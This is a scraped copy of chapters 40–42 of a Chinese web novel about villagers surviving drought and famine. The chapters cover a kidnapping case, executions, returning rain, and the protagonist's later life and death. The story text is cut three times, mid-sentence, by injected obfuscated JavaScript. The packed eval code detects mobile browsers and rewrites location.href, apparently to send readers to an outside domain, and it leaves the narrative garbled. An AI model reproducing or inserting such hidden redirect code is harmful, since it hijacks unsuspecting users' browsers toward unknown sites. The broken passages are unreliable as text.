他将自己听见的话原原本本地复述出来,负责人沉思:“人质应该就被他们藏在家里,不然不会说去喂点吃的,只是这个下去是下哪去?” “他们家是一楼吧?” 吴队长点头:“只有一层楼。” 贺隽夏想了想道:“有没有可能把人藏在地窖里?” 张夏兰家和他家一样都是老式的平房带个小院,这种老房子基本上都会弄个地窖储存粮食。 负责人振奋道:“很有可能,如果是藏在地窖里,‘下去’就说得通了。” 他问道:“张夏兰家的地窖入口在哪?” 贺强国立马回到:“就在院子里,用一块铁板挡着,上面堆了一些杂物。” 吴队长皱眉:“要想不惊动罪犯把人救出来有点困难啊。” 贺隽夏道:“现在可以先把人控制起来吧,贺有权不太可能和安全一起待在地窖里,而且地窖空气不流通,我怕时间久了安全出事。” ——人凭狗贵,靠着芝麻和汤圆,贺隽夏在绑架案上也得到了一点话语权。 贺强国附和道:“小夏说得没错,地窖里待久了会死人,前些年隔壁村就有个人死在自家地窖里,医生说是什么中毒。” 贺隽夏补充:“二氧化碳中毒。” 贺强国连连点头:“对对对,就是二氧化碳中毒。” 负责人思考了好一会,拍板决定道:“行,我们直接派人先把犯罪分子控制住。” 事情的发展出乎意料地顺利,张夏兰一家被保卫科的士兵快速控制住,失踪的贺安全也如贺隽夏猜测的那般被藏在地窖里。 万幸,贺安全神志清醒,没有受到地窖环境的影响,嘴里的布条被取出来后立刻大声哭着要见奶奶。 而张夏兰一家也不停地大喊冤枉。 这番动静惊醒了不少人,陆陆续续有人披上厚衣服走出来看热闹,得知是张夏兰一家绑架了陈老太的小孙子贺安全,顿时惊讶得不行。 “不会弄错了吧?” 有人见张夏兰哭得可怜忍不住开口询问。 “错啥错,你看,负责人和两个大队长都来了,还有这么多保卫科的人,谁会弄这么麻烦冤枉她。” “她的三个儿子平时就不学好,四处偷鸡摸狗,我就说迟早弄出大事,你们还不信。” “行了行了,知道你聪明,少说几句吧。” “哎,贺有权怎么不在,他没犯事?” “你们说他们三个不会吃枪子吧,嘶,我听说前几天就杀了一批抢劫□□杀人的。” 贺隽夏看着痛哭流涕的张夏兰微微摇头。 早知如此,何必当初。 他们三个没有造成人员伤亡,放在以前顶多是五年以上十年以下的有期徒刑,可现在就说不准了。 政府最近严厉打击违法犯罪行为,为了震慑犯罪分子判了不少死刑。而且受到极端天气影响,大多数农场绝收,县里的粮食储备急剧减少,哪有余粮养着犯罪分子。 …… 第二天一大早三人就被保卫科连同各种证据证词一起送去县里交由警察局处理。 铁证如山,任是张夏兰一家如何狡辩推脱也逃脱不了法律的制裁。 这件事在贺家村及其周边村镇掀起了轩然大波,为了避免有人效仿,县里高度重视,第二天就召开会议让各村镇开展普法活动,并且让村镇食堂面向经济困难的家庭提供免费米粥。 三天后,张夏兰三人的处罚下来,死刑且立即执行。 40.第 40 章 怎么说呢? 张夏兰一家的行事作风确实令人不喜,可再不喜也没人希望他们去死,说到底也是三条人命呢。 然而事物的发展不以人的意志为转移,任是贺家村的人如何惋惜感慨,也改变不了事情的结果。 他们唯一能做的只有尽快找到离家出走的贺有权,让他们一家人在最后时刻见上一面,以免日后遗憾。 贺有权被人找到的时候还是懵的,完全不相信居委会大妈的话,以为是母亲骗自己回家的把戏。 负责通知消息的居委会大妈看着他一脸不相信的表情生出些许怜悯,小心翼翼道:“你去长溪路派出所看看吧,那里贴着告示。” 说完居委会大妈便快速离开,徒留贺有权一个人茫然地愣在原地。 怎么可能呢? 贺有权呆呆地看着立在派出所门前的大字报,几乎不敢相信自己的眼睛——上面清清楚楚地写着张夏兰、贺有钱、贺有势三人因绑架罪被判死刑且立即执行。 他们怎么会去绑架别人呢? 贺有权没想到自己赌气离家出走不到半个月,再次听见家人的消息时,就是他们要被执行死刑的消息。 贺有权浑身颤抖到几乎喘不过气,脑子里只有一个想法——他们一定是被人冤枉的。 他激动地闯进派出所冲向前台的警察,惊得值班的民警下意识摸向腰间的手枪。 不怪他们警惕。 自从极端天气导致可用水源减少、粮食大减产,人们的情绪就愈发浮躁,各种恶性案件层出不穷。 办案时犯罪嫌疑人袭警都成了常态,有些被处理过的人心怀不满,还会蓄意来派出所报复。 前几天隔壁的陈家庄派出所就有个民警被刺身亡,还有好几人受伤。 为此县里临时下发了文件支持警察使用枪械控制正在行凶的犯罪分子。 “站住,干什么的。” 确认贺有权手中没有攻击性武器后,两个民警警惕地上前询问。 贺有权情绪激动地试图伸手揪住一人的衣领,两个民警对视一眼立刻将他控制住。 贺有权还没反应过来就被迫趴在地上,整个人像头发狂的公牛挣扎不停,眼神愤怒狠戾,还试图转身去咬两个值班民警, 殊不知这样只会让民警更加警惕。 值班民警直接用手铐将他铐在派出所的休息椅上,试图让他先冷静下来。 然而被手铐困在椅子上的贺有权不仅没有冷静,还在派出所里大吵大闹。 “你们凭什么绑我?” “我要投诉,我要投诉! ” …… 几位值班民警直接不搭理他,将他的话当成耳旁风。过了十来分钟,贺有权终于吵累了休息,看起来冷静了许多。 一位年长些的警察走上前问:“小伙子,你来派出所有什么事?” 老警察语气平和,带着长辈对小辈的关怀,一双饱经世事的眼睛仿佛能轻易地看穿人心。 贺有权看着他,突然嚎啕大哭起来,哽咽道:“你们派出所外面贴的那个大字报是怎么回事?” 今天派出所外面只贴了一张大字报。 老警察看着痛苦流涕的年轻人,瞬间就锁定了一个名字,他问道:“你是贺有权?” 贺有权红着眼:“肯定是你们搞错了,他们不可能绑架别人。” 老警察很遗憾。 他不敢打包票说世界上绝对没有冤假错案,但这个绑架案人证物证俱在。 为了避免出岔子,他们还特意派人去贺家村做过调查过,也找不少人做过笔录,各方的证词都能对应上。而且罪犯在派出所里主动承认了罪行,签下了认罪书。 这个案子绝对不会有错。 考虑到绑架案已经结案,三名罪犯又是贺有权最亲的亲人,怕他一时想不开把自己逼上绝路害人害己,老警察便向他透露了一些消息。 得知母亲和兄弟是因为没钱才起了绑架的心思,最后被人抓了个正着,贺有权后悔至极、痛不欲生。 他恨自己走之前把攒下的钱全部带走,也恨村里人狠心不留情面。如果他们不那么较真,不把母亲和有钱有势送进派出所,他们怎么可能被判死刑。 老警察看着贺有权表情变幻不定、眼里露出浓浓的怨恨不由得叹了口气。 有件事他本来不想说,按照规矩也不能说,可是看贺有权此刻的表情就知道他绝不会善罢甘休——根据老民警多年的办案经验,一个人若是蓄意报复,极有可能造成严重的人员伤亡。 老民警道:“你跟我过来。” 他带着贺有权来到一间调解室,取出一张纸让他写下一句话,然后从档案室里取出这桩绑架案的主要证据之一,一张写有威胁话语的纸条。 贺有权看着两张纸上几乎一模一样的字当场愣住,恍惚间他明白了什么,没等老民警说话就把自己写的那张纸撕了个稀巴烂。 “啊啊啊……” 贺有权蹲下来抱着头失声痛哭。 他知道母亲更加偏爱大哥和小弟,却没想到她竟然会同意大哥和小弟模仿自己的字迹来写恐吓信。 如果这次绑架成功得手,是不是会将所有的罪名都推到离家出走的自己身上? 说不出是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14174046|145034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 失望、愤怒还是心寒,贺有权抹了抹眼泪道:“我要见他们。” 这个老民警可做不到。 他给贺有权指了个方向,让他去法院提交书面申请,申请会见家人。 贺有权跌跌撞撞地走了。 几天后张夏兰等人被执行死刑,贺有权出现领走了三人的骨灰,从那以后贺家村的人再也没有见过他。 三条人命的逝去给贺家村的人敲响了警钟,有孩子的人家都时时刻刻提醒孩子不要去别人家玩,也不要跟着熟人走村里。 那些不着调的年轻人都被家里人耳提面命,一定不能做违法犯罪的事。 毕竟现在情况特殊,抓到就是死,不会给罪犯丁点悔过的余地,甚至还是立即执行。 一时间,贺家村的风气为之一新,各种争吵声少了,小偷小摸的情况也少了。 作为这件事里的最大功臣,芝麻和汤圆受到了负责人的高度赞赏,甚至还得到了100元的现金奖励。 不过贺隽夏替小狗婉拒了这份现金奖励,也通过贺强国的渠道让负责人歇了开表彰大会的心。 张夏兰等人毕竟是贺家村的原住民,也有着脱不掉的血脉联系。再说大家在村里处了几十年,贺有钱和贺有势是不少老一辈人看着长大的孩子。 不说感情多深,但不可能没一点感情。 如今人已经死了,人们会不断美化死人在心里的形象,农场方面没必要再大张旗鼓搞表彰大会,搞得人心里都不是滋味。 追根究底地说起来,他们三个之所以走上违反犯罪的道路,还有农场的因素在——若不是农场发不出工资,他们也不会想着通过绑架来搞钱。 …… 艰难的八月终于过去,这件事渐渐在人们心里淡去,只有家长在教训不听话的孩子时才会被人提出来。 然而县城的主干流也在时间的流逝下接近干涸,只留下一条不足半米宽、不足五厘米深的小溪。 这点水显然不够满足县城及其周边村镇十几万人的饮水需求,就算政府也已派人去其他地方运水回来也只是杯水车薪。 为了争夺宝贵的水资源,村里人和城里人打架,一个社区的人和另一个社区的人打架…… 、 每个人都在争,每个人都在抢,一场场械斗背后是无数逝去的生命,哪怕是政府也难以控制如今的局面——他们总不可能把所有打架的人杀了或是判刑关起来。 时至今日,唯一的解决办法就是下雨,下一场暴雨就能缓解干旱带来的所有困扰。 可惜谁也不知道雨水会何时降临。 只能慢慢熬着。 41.第 41 章 从八月熬到九月,事情终于迎来了转机。 那是一个普普通通的夜晚,月明星稀,朦胧的月光如薄纱一般笼罩着干裂的田野,漆黑浓稠的夜色不断扩大人的感官。 家家户户都已睡下,只有保卫科的巡逻队还在举着火把巡逻,猩红的火光在黑暗中显出几分诡异确实让人感觉温暖。 “好像下雨了?” 年轻的小战士喃喃自语,恍惚地伸出手试图抓住那一丝微不可察的湿润触感。 “别傻了,都半年多没…… ” 同伴反驳的声音戛然而止,只见他呆呆地仰头望向天空,眼里是不可置信和手足无措的茫然。 真的下雨了! 巡逻队的成员们感受着脸上手上的湿润,难以抑制住心里的兴奋,发出惊天动地的激动呼喊。 “下雨了”“下雨了” “哈哈哈,终于下雨了。” 睡梦中的村民被兴奋的鬼哭狼嚎声唤醒,脑袋还迷糊着,嘴就先一步向扰人清梦的人发出怒骂。 “大半夜的不睡觉发什么疯?” 然而当他们听清楚恍若鬼哭狼嚎的声音时,昏昏胀胀的大脑瞬间清醒,身体猛地从床上弹起来,连鞋也来不及穿就急匆匆地奔向屋外。 “吧嗒吧嗒吧嗒……” 豆大的雨滴很快就打湿了干燥的水泥地面,使空气里弥漫着一股独特的水泥味。 这是只有刚下雨时才能闻到的独特气息。 有人手舞足蹈,有人欣喜若狂,有人激动地光着脚在雨里奔跑…… 一时间,整个村子都热闹起来。 贺隽夏一家也不例外。 贺隽夏把家里所有可以盛水的容器都翻出来摆在院子里,连后院菜地旁的水井也没被落下。 “哗啦啦……”“哗啦啦……” 雨越下越大。 枯黄的枝丫在风雨中翩翩起舞,干涸的河道欢呼雀跃,连带着干裂的大地一起奏响世间最美妙的乐章。 如果说春雨贵如油,那么这场迟来的秋雨就是贵比黄金。 一夜之间,世间万物都焕发出了新的生机。 …… 兴奋了一晚上的人们在各组组长的带领下来到自己负责的耕地工作,雨后扑面而来的凉爽让天气不再成为户外劳作的负担。 只要这样的凉爽能持续下去,或者极端天气不再到来,他们再种一轮生长周期短的作物还有机会在过年前收获。 收获的粮食也能缓解县城的饥荒。 是的,饥荒。 虽然前期在国家的指挥下,每个县城都存有一定量的粮食,但粮食再多也有用完的一天,更何况县城还向省城输送了大批粮食。 距离县城及其周边城镇的各大农场上一次收获已经过去八个月之久。 也就是说,整整八个月,县粮食储存库都是有出无进,之前储存的粮食早已被消耗殆尽。 别说城里的居民吃不饱,就是看起来有余粮的农场员工们也过得紧巴巴。 即便是贺家村人早些时候在贺隽夏提醒中囤的那些食物,也早就被吃得差不多了,山上能吃的果子、能吃的草、能吃的根更是被人挖了一遍又一遍。 去年过年时把提成的粮食卖掉换成钱的农场员工们悔得肠子都青了——赚的那点小钱放到现在也就够买几斤大米。 早知道说什么都不卖,家里又不是差那点钱。 可惜世界上没有后悔药。 贺家村的人只能精打细算,让自己处于吃不饱又饿不死的状态。 整个村子过得最好的当属贺隽夏一家。 贺隽夏早早就给家里囤了足够多的食物,当初得到的粮食提成也只卖了一小部分,就连芝麻和汤圆吃的狗狗食品都有一大堆。 他们家完全不受饥荒的影响,不仅能吃饱,还能吃好,隔三差五就能开个水果罐头、猪肉罐头、鱼罐头等加餐。 不过枪打出头鸟,贺家村目前的常住人口身份复杂,还有绑架案的事在前,贺隽夏一家都闷声吃大餐,从不往外声张。 就是张智宸也被贺隽夏三令五申,让他不要和别的孩子说自己吃了什么。要是有人问起来,就回答稀饭和榨菜。 贺隽夏只在最困难的时候给几户关系亲近的人家送过一些大米和红薯,额外在过中秋节时给作为长辈的老村长送了两个水果罐头,给贺根送了些家里囤的奶粉。 再多就没有了。 毕竟升米恩斗米仇,过多的帮助不仅无法得到别人的感激,还有可能使别人心怀不满,产生抱怨嫉妒的心理。 好在随着秋雨的到来,一切都有了转机,山上的野板栗开始结果,枯黄的草木变成新绿色,一颗颗象征着希望的种子也被埋入土里。 农场再次运转起来。 只是由于农场在资金方面依然存在问题,负责人更改了农场的运营模式——不再发固定工资,而是将70%的收获作为员工工资按贡献发放给农场员工。 这种模式显然严重损害了农场员工的利益,让他们从旱涝保收的职工变成了靠天吃饭的农民。要是老天不开眼,像之前那样辛辛苦苦几个月最后颗粒无收也不是不可能。 但人在屋檐下,不得不低头。 更何况负责人不是故意要消减员工福利,是受特殊情况限制,无奈才出此下策。 在生存的逼迫下,农场员工的积极性得到了前所未有的提高,而这一次,他们的努力也终于得到了回报。 或许算不上大丰收,但收获的作物极大程度上缓解了城市的饥荒,带动了资金的流通,一切都在向好的地方发展。 …… 二月,年刚过,气候渐暖 贺隽夏带着张智宸写的信和食物,跟着送粮队一起再次踏上通往省城的路。 贺隽夏看着突然多了几分陌生的高楼,心里有几分忐忑。 去年的极端天气让家里离不开人,外面也不乏土匪强盗拦路抢劫,他不敢贸然上路去省城,以至于距离上一次和贺成凤见面已经过去快一年了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14199747|145034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不知道她和孩子咋样? “你是……小夏?” 一道不确定的声音在远处响起,贺隽夏朝声音传来的方向看去,看见一个白发苍苍的老人正打量自己。 他迟疑道:“张爷爷?” 听见他的回答,老人顿时高兴道:“小夏,真的是你啊,我还以为认错人了。” 贺隽夏也差点以为自己认错人了。 与一年前相比,张爷爷老了不止一岁,头发全白了,面容沧桑,布满皱纹,看起来像七十多岁的老人。 两人互相看着对方,内心俱是感慨万千,不得不叹一句时间不等人。 张爷爷抹了抹眼睛,突然拍手道:“哎呀,你看我,真是老糊涂了,干站在外面,走走走,我们回去说。” “宸宸肯定给你们添了不少麻烦吧。” 贺隽夏知道老人是想孙子了,笑道:“什么麻烦不麻烦,咱们是一家人。 而且宸宸很乖很听话,知道我要来省城见你们,还专门写了信让我带过来。” 张爷爷笑开了花,眼睛却带着晶莹的水光:“长大了,会写信了,都是你们养得好啊。” 贺隽夏跟着张爷爷上楼,贺成凤正在客厅教小女儿说话,听见开门声时头也没抬。 “姑姑” 贺隽夏轻声叫了一声。 贺成凤愣住,一点点转过身,看见贺隽夏刹那间泪水便喷涌而出,泣不成声。 张爷爷一如上次般腾出空间让他们二人叙旧,贺隽夏看着坐在地上牙牙学语的孩子,从包里拿出张智宸写的信打断贺成凤的泪水。 “姑,你看看,这是宸宸给你们写的信。” 贺隽夏将画着花花绿绿图案的信封递给贺成凤,贺成凤激动地接过信件却没有打开,而是问道:“哥哥嫂嫂身体还好吗,你们那边怎么样,我听别人说去年大旱县城争水死了好多人。” 贺隽夏笑道:“一切都好。” 他主动和贺成凤说起张智宸在村里闹出的趣事糗事,惹得贺成凤哈哈大笑。 两人许久未见带来的些许生疏在笑声中消失不见,被忽视的小孩抓住贺隽夏的裤脚发出咿咿呀呀的抗议。 见多了贺根的孩子,贺隽夏对这些小胳膊小腿的娃娃也少了几分小心翼翼,他弯腰轻轻扯出张智月手里的脏裤脚道:“月月,我是哥哥,来,叫哥哥。” “格格。” 一岁的小孩说话还含糊不清,眼底滴溜溜转动时的那股激灵劲却是怎么挡也挡不住,径直朝贺隽夏伸出手要抱。 贺隽夏脱下脏掉的外衣把张智月抱起来,小孩一点也不怕生,在他怀里咯咯笑了起来,看得他脸上也不禁挂起了笑容。 贺成凤捏住儿子写的信件,看着女儿和侄子相处温馨,不由得擦了擦眼角的泪。 如果不是侄子辛苦送来的那些钱和食物,在□□的时候,月月恐怕活不到现在,就算勉强活下来,也没有这么健康。 她欠哥哥嫂嫂的情这辈子都还不完。 42.第 42 章 这回贺隽夏在张家待了三天才离开,几天下来,他能感觉到贺成凤在张家过得挺不错。 身体和精神上双重意义的不错。 张智月八个月大时,贺成凤通过以前的关系找了份兼职,虽然工资不高,就勉强够自己一人的吃喝,但能赚钱就是有底气,也能减轻家里的负担。 而两位老人的注意力全在小孙女身上,整天不是小孙女长,就是小孙女短,根本没空想其他的事,和儿媳之间的小龃龉也渐渐消失。 贺隽夏将自己在省城、在张家的所见所闻一一说给家里人听。得知小姑子/妹妹/姑姑过得还不错,几个人总算放心了。 去年最困难的那段日子,县政府差点控制不住居民的暴乱,枪动了好多次,人也死了一大堆 而省城的常住人口是县城的数十倍,又没有那么多的土地种粮食,还要靠周边县市送粮过去,情况只会比他们县更差。 贺隽夏笑:“省城有X江主干流,就是一年不下雨也不受影响,日子可比小县城好。住的人多维持秩序的人也多,谁敢违法犯罪就抓去干体力活,要不就关着饿三天,饿到人没力气为止。” “政府还在广场上设置了一个枪·决台,严打期间抓到十大重罪的犯罪分子审判后直接枪·毙,有时候会让社区组织居民观刑。” “听说能看到脑浆爆出来,白色的脑浆和血混在一起有点像破碎的西瓜。” “啊--” 听着贺隽夏的描述,曾秀平等人都露出一言难尽的表情,表情皱巴成一团。 贺隽秋鸡皮疙瘩起来了。 她搓搓胳膊吸了口冷气道:“不会让人做噩梦产生心理阴影吗?” 贺隽夏笑眯眯:“产生心理阴影才好啊,有了害怕的东西才会控制自己的行为。” 贺隽秋瞪大眼睛:“哥,你咋知道得这么清楚,你不会看过吧?!” 曾秀平和贺强国齐齐转头盯住贺隽夏,贺隽夏连忙回答没有,表情坚定地像在进行入党宣誓——虽然他在学校见过大体老师,在医院实习时也见过病人的尸体,但观看枪决现场还是太超前了。 他只是想吓吓贺隽秋,没必要用伤敌一百,自损一千的手段折磨自己。 贺隽秋也逐渐反应过来贺隽夏的真实意图,叉着腰气呼呼道:“你别以为我不知道,你就是想吓我!” 贺隽夏笑出八颗大白牙。 “小夏哥哥,小夏哥哥,我妈妈说什么时候带我回去呀? ” 人未到,声先至。 从旁人嘴里得知贺隽夏已经回来的张智宸急匆匆地丢下小伙伴跑回家。 客厅四人齐齐看向气喘吁吁的小胖墩,小孩儿亮晶晶的眼里充满了期待和渴望。 贺隽夏摸摸他红扑扑的小脸蛋:“宸宸不喜欢住在贺家村?” “不是不是,我喜欢贺家村,喜欢舅舅舅妈,喜欢小夏哥哥和小秋姐姐。”说着说着张智宸嘴巴一撅道:“可是我想爸爸妈妈,想爷爷奶奶,他们是不是不要我了?” “呜呜呜呜……” 说到最后,张智宸嚎啕大哭,擦眼泪的速度甚至比不上掉眼泪的速度。 本来还觉得有些好笑的四人看着他坐在地上哇哇大哭的模样不由得心疼起来。 张智宸是个很乖巧听话的孩子。 虽然他有时候爱玩爱闹腾,但长辈不让做的事情绝对不做,也从来不会为了某个东西大吵大闹,还会贴心地做些力所能及的家务。 这样的孩子突然哭着说想爸爸妈妈怎么能不让人心疼? 父母的爱是任何长辈亲人都无法替代的东西。 曾秀平心疼地抱住他:“宸宸不哭,爸爸妈妈爷爷奶奶都很想你,没有不要你。” 张智宸抽泣:“可是他们为什么还不来接我,他们是不是有了小妹妹就不要我了?” 曾秀平一时无言。 她给贺隽夏使了个眼色,希望他能说些哄小孩的话。 贺隽夏用纸巾轻柔地擦掉脸上的泪水:“爸爸妈妈和爷爷奶奶都很想你,我和他们说好了,下次去省城的时候把你一起带过去。” 张智宸不哭了。 小孩顶着水汪汪的大眼睛:“真的吗?” 贺隽夏点头:“当然是真的。” 张智宸吸了吸鼻子,伸出小拇指道:“拉钩上吊一百年不许变。” 贺隽夏笑着伸出小拇指和他签下契约,小孩儿的脸上终于露出了灿烂的笑容,殊不知还有一个惊喜等着他。 贺隽夏又道:“宸宸要不要看爸爸妈妈爷爷奶奶给你写的信?” 他从背包里拿出四封信放在小孩手上,张智宸迫不及待地打开信件,将信上的字一个个读了出来,遇见不认识的字就仰头求助大人。 看得四个大人满脸慈爱。 …… 美好的时光总是易逝。 相较于去年的多灾多难,今年可谓是风调雨顺,眨眼间便来到了丰收的九月。 也是贺隽夏来到异世界的第二年。 【叮咚】 【实习任务一:存活两年(已完成)】 【是否结束任务】 【是】【否】 看着眼前突然弹出的系统提示,贺隽夏只觉得恍若隔世。他盯着屏幕上的字看了许久,随即毫不犹豫地选择了否。 时空管理局规定,若实习任务者在任务完成后选择离开,该身体会立刻因突发疾病死亡。 若实习任务者在任务完成后选择留下,最多可在任务世界再停留五年,且期间随时可以选择脱离任务世界。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14235357|145034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贺隽夏不想连个告别都没有就离开。 再说实习任务者结束任务后在实习空间里停留十天后就必须进入下一个任务世界。而灾难任务种类繁多,有人为灾难,有自然灾难,还有超自然因素引发的特殊灾难。 他要在还算安全的新手世界多学一些有用的知识和技能,以免遇见不同的灾难时变成无头苍蝇。 “小夏哥哥,小夏哥哥,地里的水稻都收了,咱们什么时候去省里呀?” 张智宸抱住贺隽夏的大腿,生怕从他嘴里听见拒绝的话。 “下个星期好吗?” 贺隽夏回过神来伸手摸了摸小孩的脑袋,得到一个兴奋又激动的笑容。 “好耶,我要见爸爸妈妈了。” 时间一到,贺隽夏便带着张智宸出发,他们跟着运粮队一起行动,成功在深夜到达省城。 贺隽夏没睡几个小时就把张智宸送回了张家,突然看见儿子/孙子哭得泪水直流。 孩子想家人,家人又何尝不想孩子。 顺利完成送娃任务后,贺隽夏依然在贺家村做着普普通通的农民,只是时常去县里的图书馆借阅图书,每逢休闲日还会向保卫科的军人请教,锻炼自己的战斗技巧。 ——虽然他学了多年的拳击,但论起一招制人的杀敌本事还得看军队。 …… 特殊磁场爆发后的第四年,C市再次出现严重干旱,已经长成大狗的芝麻和汤圆抓住了一群意图不轨的入室抢劫犯。 特殊磁场爆发后的第五年,政府终于找到了一些小范围破坏特殊磁场的方法,古老的内燃机火车重新回到轨道上。 特殊磁场爆发后的第六年,24岁的贺隽秋和谈了多年的男朋友张全在贺家村举行婚礼,双方父母均在场,连负责人也送来了贺礼。 特殊磁场爆发后的第七年,天降大暴雨,贺家村及其周边村镇爆发洪水,贺隽夏在一次洪水救援活动中不幸被洪水冲走,好在他救下的两个孩子都活了下来。 事后两个孩子的家长带着孩子在贺隽夏的坟前磕头,让孩子认他做干爹。 特殊磁场爆发后的第八年,贺隽秋生下一个孩子,取名为念夏,全国的水力电力系统逐步恢复。 特殊磁场爆发后的第十年,特殊磁场的问题彻底被解决,人们的生活逐渐回到正轨,贺隽夏被省政府授予“见义勇为先进个人”的模范称号。 特殊磁场爆发后的第十三年,农场转变为国营企业,军队撤出,张全退伍转警察,贺隽秋转文员岗位申请进修,通过政府政策考上了在职大学生,超龄的曾秀平和贺成材也领上了退休金,一家人的生活欣欣向荣。 而贺隽夏的墓前永远摆放着父母做的精美佳肴。 他们吃什么,他就吃什么。